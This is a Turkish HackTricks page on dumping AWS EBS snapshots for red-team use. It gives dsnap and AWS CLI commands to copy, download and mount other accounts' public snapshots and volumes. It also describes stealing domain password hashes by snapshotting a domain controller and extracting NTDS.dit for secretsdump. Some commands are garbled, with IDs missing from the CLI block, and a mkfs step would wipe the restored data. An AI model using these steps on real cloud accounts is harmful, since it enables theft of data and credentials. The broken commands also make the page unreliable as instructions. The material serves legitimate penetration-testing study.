AWS - EBS Snapshot Dump

AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'ı desteklemenin diğer yolları:

Bir anlık görüntüyü yerel olarak kontrol etme

# Install dependencies
pip install 'dsnap[cli]'
brew install vagrant
brew install virtualbox

# Get snapshot from image
mkdir snap_wordir; cd snap_workdir
dsnap init
## Download a snapshot of the volume of that instance
## If no snapshot existed it will try to create one
dsnap get <instance-id>
dsnap --profile default --region eu-west-1 get i-0d706e33814c1ef9a
## Other way to get a snapshot
dsnap list #List snapshots
dsnap get snap-0dbb0347f47e38b96 #Download snapshot directly

# Run with vagrant
IMAGE="<download_file>.img" vagrant up #Run image with vagrant+virtuabox
IMAGE="<download_file>.img" vagrant ssh #Access the VM
vagrant destroy #To destoy

# Run with docker
git clone https://github.com/RhinoSecurityLabs/dsnap.git
cd dsnap
make docker/build
IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded

Not: dsnap size genel yayınlanan anlık görüntüleri indirmenize izin vermeyecektir. Bunu atlamak için, anlık görüntüyü kişisel hesabınızda bir kopya oluşturabilir ve onu indirebilirsiniz:

# Copy the snapshot
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"

# View the snapshot info
aws ec2 describe-snapshots --owner-ids self --region us-east-2

# Download the snapshot. The ID is the copy from your account
dsnap --region us-east-2 get snap-027da41be451109da

# Delete the snapshot after downloading
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2

Bu teknik hakkında daha fazla bilgi için orijinal araştırmayı https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/ adresinden kontrol edebilirsiniz.

Bunu Pacu kullanarak ebs__download_snapshots modülü ile yapabilirsiniz.

AWS'de bir snapshot'ı kontrol etme

aws ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snapshot-id snap-0b49342abd1bdcb89

Kontrolünüz altındaki bir EC2 VM'sinde bağlayın (yedeğin kopyasıyla aynı bölgede olmalıdır):

Adım 1: EC2 –> Hacimlere giderek tercih ettiğiniz boyutta ve türde yeni bir hacim oluşturun.

Bu işlemi gerçekleştirebilmek için şu komutları izleyin:

  • Bir EBS hacmi oluşturun ve EC2 örneğine bağlayın.

  • EBS hacmi ve örneğin aynı bölgede olduğundan emin olun.

Adım 2: Oluşturulan hacmi sağ tıklayarak "hacmi ekle" seçeneğini seçin.

Adım 3: Örneği örnek metin kutusundan seçin.

Bu işlemi gerçekleştirebilmek için şu komutu kullanın:

  • EBS hacmini bağlayın.

Adım 4: EC2 örneğine giriş yapın ve mevcut diskleri lsblk komutunu kullanarak listeleyin.

Adım 5: Hacmin herhangi bir veri içerip içermediğini sudo file -s /dev/xvdf komutunu kullanarak kontrol edin.

Yukarıdaki komutun çıktısı "/dev/xvdf: data" ise, hacmin boş olduğu anlamına gelir.

Adım 6: Hacmi ext4 dosya sistemi biçimine sudo mkfs -t ext4 /dev/xvdf komutunu kullanarak biçimlendirin. Alternatif olarak, sudo mkfs -t xfs /dev/xvdf komutunu kullanarak xfs biçimini de kullanabilirsiniz. Lütfen ext4 veya xfs'ten birini kullanmanız gerektiğini unutmayın.

Adım 7: Yeni ext4 hacmi bağlamak için tercih ettiğiniz bir dizin oluşturun. Örneğin, "newvolume" adını kullanabilirsiniz.

Bu işlemi gerçekleştirebilmek için şu komutu kullanın: sudo mkdir /newvolume.

Adım 8: Hacmi "newvolume" dizinine sudo mount /dev/xvdf /newvolume/ komutunu kullanarak bağlayın.

Adım 9: "newvolume" dizinine dizini değiştirin ve hacim bağlantısını doğrulamak için disk alanını kontrol edin.

Bu işlemi gerçekleştirebilmek için şu komutları kullanın:

  • /newvolume dizinine dizini değiştirin.

  • df -h . komutunu kullanarak disk alanını kontrol edin. Bu komutun çıktısı, "newvolume" dizinindeki boş alanı göstermelidir.

Bunu Pacu kullanarak ebs__explore_snapshots modülünü kullanarak yapabilirsiniz.

AWS'de bir anın kontrol edilmesi (cli kullanarak)

```bash aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id

Attach new volume to instance

aws ec2 attach-volume --device /dev/sdh --instance-id --volume-id

mount the snapshot from within the VM

sudo file -s /dev/sdh /dev/sdh: symbolic link to `xvdh'

sudo file -s /dev/xvdh /dev/xvdh: x86 boot sector; partition 1: ID=0xee, starthead 0, startsector 1, 16777215 sectors, extended partition table (last)\011, code offset 0x63

lsblk /dev/xvdh NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT xvdh 202:112 0 8G 0 disk ├─xvdh1 202:113 0 7.9G 0 part ├─xvdh14 202:126 0 4M 0 part └─xvdh15 202:127 0 106M 0 part

sudo mount /dev/xvdh1 /mnt

ls /mnt

## Gölge Kopya

**`EC2:CreateSnapshot`** iznine sahip herhangi bir AWS kullanıcısı, **EBS Snapshot** oluşturarak **EBS Snapshot**'unu kontrol ettikleri bir örneğe bağlayarak ve Impacket'in secretsdump projesi ile kullanmak üzere **NTDS.dit ve SYSTEM** kayıt defteri hive dosyalarını dışa aktararak tüm etki alanı kullanıcılarının hash'lerini çalabilir.

Bu saldırıyı otomatikleştirmek için bu aracı kullanabilirsiniz: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) veya bir snapshot oluşturduktan sonra önceki tekniklerden birini kullanabilirsiniz.

## Referanslar

* [https://devopscube.com/mount-ebs-volume-ec2-instance/](https://devopscube.com/mount-ebs-volume-ec2-instance/)

<details>

<summary><strong>Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

HackTricks'ı desteklemenin diğer yolları:

* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.

</details>

Last updated